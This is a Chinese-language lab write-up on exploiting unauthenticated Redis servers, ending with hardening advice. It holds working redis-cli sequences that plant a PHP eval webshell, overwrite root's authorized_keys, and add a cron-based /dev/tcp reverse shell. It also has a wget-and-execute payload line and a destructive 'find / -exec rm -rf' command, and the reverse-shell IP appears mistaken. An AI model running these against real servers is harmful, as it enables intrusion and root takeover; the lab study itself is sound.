一、概述
1.1 漏洞简介
Redis未授权访问漏洞是指Redis服务在默认配置下,绑定在0.0.0.0:6379端口,且没有设置密码认证(默认为空)和防火墙策略的情况下,导致任意用户可以未授权访问Redis服务以及读取Redis的数据。
1.2 利用条件
Redis绑定在0.0.0.0:6379,且没有进行添加防火墙规则避免其他非信任来源ip访问等相关安全策略,直接暴露在公网。
没有设置密码认证(默认为空)或者弱密码,可以免密码登录redis服务。
1.3 漏洞影响版本
Redis 2.x,3.x,4.x,5.x
1.4 漏洞危害
- 数据泄露:攻击者可以访问Redis中的所有数据,包括敏感信息。
- 数据篡改:攻击者可以修改或删除Redis中的数据。黑客可以恶意执行flushall来清空所有数据。
- 系统权限获取:攻击者可以利用Redis的
config
命令进行写文件操作,例如将SSH公钥写入服务器的/root/.ssh/authorized_keys
文件中,从而使用对应私钥通过SSH登录目标服务器。 - 执行恶意代码:攻击者可以通过
eval
命令执行Lua脚本,或者通过数据备份功能往磁盘写入后门程序。
1.5 利用方法
攻击者在未授权访问Redis的情况下,利用Redis自身的提供的config命令,可以进行写文件操作,攻击者还可以成功将自己的ssh公钥写入目标服务器的/root/.ssh文件的authotrized_keys 文件中,进而可以使用对应私钥直接使用ssh服务器登录目标服务器。
二、漏洞复现
2.1 漏洞环境搭建及漏洞测试(redis-4.0.10 复现失败)
靶机:centos7 192.168.52.4
攻击机:kali 192.168.52.6
2.2.1 靶机安装redis服务器(redis-server)
1)下载redis-4.0.10
wget http://download.redis.io/releases/redis-4.0.10.tar.gz
2)安装redis-server
解压,进入源码目录,然后编译(make、make install)
- 解压
tar zxf redis-4.0.10.tar.gz
命令详解:
- z:这个选项告诉
tar
命令使用gzip
来解压缩文件。gzip
是一种流行的压缩工具,通常用于压缩单个文件。- x:这个选项表示解压缩(extract),即从压缩文件中提取文件。
- f:这个选项后面跟着的是要操作的文件名。在这个例子中,文件名是
redis-4.0.10.tar.gz
。
- make编译
cd redis-4.0.10
make
大战bug-「源码安装redis时make报错」
执行
make
命令报错:![]()
分析判断是没有安装gcc的原因:
yum install gcc
安装后重新执行
make
![]()
还是报错。
添加如下参数,继续执行make
make MALLOC=libc
![]()
- make install安装
make install
3)启动服务(redis-server)
redis-server
查看服务是否启动成功:
ps -ef | grep redis
或
ps aux | grep redis
或
netstat -pantu | grep redis
- -e:表示显示所有进程。
- -f:表示显示完整的格式,包括用户、PID(进程ID)、父进程ID、启动时间、CPU和内存使用情况等详细信息。
2.2.2 攻击机安装redis客户端(redis-cli)
1)下载redis-4.0.10
wget http://download.redis.io/releases/redis-4.0.10.tar.gz
2)安装
解压,编译
tar zxf redis-4.0.10.tar.gz
cd redis-4.0.10
make
make install
3)测试redis客户端是否安装完成
2.2.3 漏洞测试
测试目标靶机是否存在未授权访问,下图说明靶机不存在未授权访问:
redis-4.0.10 复现失败。 ✅
Redis在3.2.0之后增加了一个保护模式,默认还是无密码,但是限制了只有本地(回环接口)才能访问。
2.2.4 卸载redis
停止服务,ctrl+c即可。
find / -name "*redis*" -exec rm -rf {} \;
2.2 漏洞环境搭建及漏洞测试(redis-2.8.17 复现成功)
2.2.1 靶机安装redis-2.8.17
wget http://download.redis.io/releases/redis-2.8.17.tar.gz
tar zxf redis-2.8.17.tar.gz
cd redis-2.8.17
make
make install
执行失败。
需要cd到src目录中执行
cd src
./redis-server
访问192.168.5.4访问不了。
访问127.0.0.1 才可以访问。
2.2.2 kali安装redis-2.8.17-cli
可以按照如下过程安装,也可以使用redis
wget http://download.redis.io/releases/redis-2.8.17.tar.gz
tar zxf redis-2.8.17.tar.gz
cd redis-2.8.17
make
make install
在kali上安装的时候没有执行卸载动作,安装完成之后版本自动变更了。
其实用原来的4.0.10版本也可以。
无法访问,但是能ping通192.168.52.4。
2.2.3 关闭centos7的防火墙
查看防火墙状态:
systemctl status firewalld
停止防火墙:
sudo systemctl stop firewalld
关闭防火墙之后访问测试成功:
2.2.4 漏洞测试
1)未授权访问测试
测试目标靶机是否存在未授权访问,下图说明靶机存在未授权访问,导致信息泄露。
2.2.5 启动apache web服务
为了复现写入webshell的利用方法,安装启动apache web服务。
1)安装 Apache
CentOS 7 使用 yum
作为包管理器。要安装 Apache HTTP 服务器,运行以下命令:
sudo yum install httpd
2)启动 Apache 服务
安装完成后,你可以使用 systemctl
命令来启动 Apache 服务:
sudo systemctl start httpd
3)访问测试
echo "<?php phpinfo(); ?>" > /home/www/index.php
访问之后发现php没有被解析。
需要安装并配置php解析。
2.2.6 安装PHP
1) 安装 PHP
CentOS 7 默认使用 yum
作为包管理器。要安装 PHP,运行以下命令:
sudo yum install php php-mysqlnd
这里 php-mysqlnd
是 MySQL 的 PHP 扩展,如果你的 PHP 脚本需要与 MySQL 数据库交互,这个扩展是必要的。
2)配置 Apache 以处理 PHP
不需要特别的配置,重启一下http服务即可。
systemctl restart httpd
2.3 漏洞利用
2.3.1 写webshell
利用条件:目标开启了web服务器,并且知道web路径(可以利用phpinfo或者错误暴路径等),还需要具有读写增删改查权限。
- 写入webshell
config set dir /var/www/html
config set dbfilename sxkhack.php
set webshell "\r\n<?php eval($_POST['sxk']);?>\r\n"
save
注意:”\r\n”是回车换行的意思,用redis写入文件会自带一些版本信息,如果不换行可能导致无法执行。
成功getshell。
2.3.2 通过写入SSH公钥实现SSH登录
1)ssh密钥登录的原理
通过ssh可以远程登录另外一台电脑。
ssh登录有两种一个是密码登录,一个是密钥登录。公钥登录是为了解决每次登录服务器都要输入密码的问题,流行使用RSA加密方案,主要流程包含:
- 客户端生成RSA公钥和私钥
- 客户端将自己的公钥存放到服务器
- 客户端请求连接服务器,服务器将一个随机字符串发送给客户端
- 客户端根据自己的私钥加密这个随机字符串之后再发送给服务器
- 服务器接受到加密后的字符串之后用公钥解密,如果正确就让客户端登录,否则拒绝。这样就不用使用密码了。
2)利用前提
当redis以root身份运行。
靶机redis链接未授权,在攻击机上能用redis-cli连上。
存在/root/.ssh目录
1)如果不存在我们可以通过一句话木马连接蚁剑创建目录,但是webshell获取的权限比较低,没有权限访问/root目录。
2)如果是自己搭建的靶场就自行创建一个。
3)此外,有种说法是靶机被使用ssh root@ip登录过就会生成.ssh文件,但是我在centos7上测试不是这样的,还是没有.ssh目录,如果是使用用户名密码认证登录的方式应该不会有.ssh的目录。正确的说法应该是目标机器配置过通过ssh公私密钥登录之后才会存在.ssh文件,具体操作见本站《ssh服务公私钥认证》一文。
3)原理
原理就是在数据库中插入一条数据,将本机的公钥作为value,key值可以随意设置,然后通过修改数据库的默认路径为/root/.ssh和默认的缓冲文件authorized_keys,把缓冲的数据保存在文件里,这样就可以在服务器端的/root/.ssh下生成一个授权的key。
4)kali生成公私钥对(如果本身就有可以不生成)
如果没有可以用如下方法生成一对:
ssh-keygen -t rsa
ssh-keygen
是一个用于生成 SSH 密钥对的命令行工具。当你运行ssh-keygen -t rsa
命令时,它会创建一对新的 RSA 密钥,包括一个私钥和一个公钥。以下是该命令的详细解释和使用步骤:命令解释
ssh-keygen
:这是生成、管理和转换认证密钥的命令。-t rsa
:这个选项指定了密钥的类型。在这里,rsa
表示使用 RSA 加密算法生成密钥对。
5)将公钥写入key.txt文件
(echo -e "\n";cat id_rsa.pub;echo -e "\n") > key.txt
echo的-e参数:
-e
参数是一个常用的选项,它允许echo
命令解释一些特殊的字符和转义序列。这些转义序列可以控制文本的格式,如换行、制表符、字符串的开始和结束等。以下是一些与
-e
参数一起使用时有效的转义序列:
\n
:换行符,用于在输出中创建一个新行。\t
:制表符(水平制表符),用于在输出中创建一个水平制表。echo -e "Hello,\nWorld!"
这个命令将在两行输出 “Hello,” 和 “World!”。
(前后用\n换行,避免和redis里其他缓存数据混合)。
6)把key.txt文件内容写入redis缓冲
cat /root/key.txt |./redis-cli -h 192.168.52.4 -x set pub
在 Redis 2.8.17 版本中,
redis-cli
工具的-x
参数用于执行一个 Redis 命令。
7)设置redis的dump文件路径为/root/.ssh且文件名为authorized_keys
redis-cli -h 192.168.52.4
config set dir /root/.ssh
config set dbfilename authorized_keys
save
config set dir /root/.ssh
- 这个命令用于设置 Redis 的配置参数。在这里,它试图将 Redis 的持久化文件目录设置为
/root/.ssh
。config set dbfilename authorized_keys
- 这个命令也是用于设置 Redis 的配置参数。在这里,它试图将 Redis 数据库的持久化文件名设置为
authorized_keys
。在 Redis 中,
config set
命令用于在运行时动态设置配置参数。以下是dir
和dbfilename
参数的作用:
config set dir /path/to/directory
- 这个命令用于设置 Redis 数据库文件的存储目录。
dir
参数指定了持久化文件(如 RDB 快照)的保存路径。默认情况下,Redis 会将数据文件保存在当前工作目录下,但为了数据安全,建议显式设置一个专门的目录来存储这些文件。通过修改dir
参数,你可以指定一个不同的路径来存放这些持久化文件,以避免误删除或数据丢失的风险。config set dbfilename filename
- 这个命令用于设置 Redis 数据库的持久化文件名。
dbfilename
参数指定了 RDB 快照文件的名称。默认情况下,这个文件名是dump.rdb
。通过修改dbfilename
参数,你可以为 RDB 快照指定一个自定义的文件名。这在管理多个 Redis 实例或需要区分不同数据库快照时非常有用。
这里先将攻击者的公钥保存到缓冲区,然后设置数据库文件,SAVE
命令用于创建当前数据库的快照并保存到磁盘上的 RDB 文件,在这里就是把缓冲区中的数据刷到了/root/.ssh/authorized_keys中。
8)成功获得root权限的ssh shell
ssh -i ~/.ssh/id_rsa root@192.168.52.4
-i ~/.ssh/id_rsa
:这个选项指定了用于认证的私钥文件。-i
代表 identity file,即身份文件,~/.ssh/id_rsa
是私钥文件的路径。
ssh 192.168.52.4
ssh root@192.168.52.4
成功获得root权限的ssh shell。
真实的root用户登录时需要输入密码认证,因为此时服务器的ssh公钥已经被篡改为攻击者的公钥了。
2.3.3 反弹shell上线metepreter(失败)
- msf构建payload,参数设置情况如下
wget -qO sbWGQnnZ --no-check-certificate http://192.168.52.6:8080/YrdRCeRQ; chmod +x sbWGQnnZ; ./sbWGQnnZ& disown
但是写入的数据有乱码,无法执行。
暂时想不到什么比较好的方法。
2.3.4 普通反弹普通shell
redis-cli -h 192.168.52.4
config set dir /var/spool/cron
config set dbfilename root
set hahaha "\n\n* * * * * /bin/bash -i >& /dev/tcp/192.168.52.4/8888 0>&1 \n\n"
save
服务器原来cron目录下没有root文件的,现在有了,并且内容是redis的缓存,有脏数据。
如果想清除一下缓存中之前写入的脏数据:
可以执行FLUSHDB或FLUSHALL:
FLUSHDB
:这个命令会删除当前数据库中的所有键。如果在 Redis 配置中启用了save
选项,那么在执行FLUSHDB
命令后,Redis 会异步地将这个状态保存到磁盘。
FLUSHALL
:这个命令会删除所有数据库中的所有键。与FLUSHDB
类似,如果启用了持久化,这个命令也会触发保存操作。执行之后可以save一下保存更改。
这里的定时任务会每分钟执行一次。
攻击端kali监听8888端口,成功获取到root权限的shell
修复
在redis3.2之后,redis增加了protected-mode,在这个模式下,非绑定IP或者没有配置密码访问时都会报错。
防范措施:
- 设置密码认证:在Redis配置文件
redis.conf
中设置强密码,并启用认证功能。 - 限制访问:通过防火墙规则限制Redis端口的访问,只允许信任的IP地址访问。
- 绑定本地接口:将Redis绑定在本地接口(如127.0.0.1),避免暴露在公网上。
- 定期更新:及时更新Redis到最新版本,以修复已知的安全漏洞。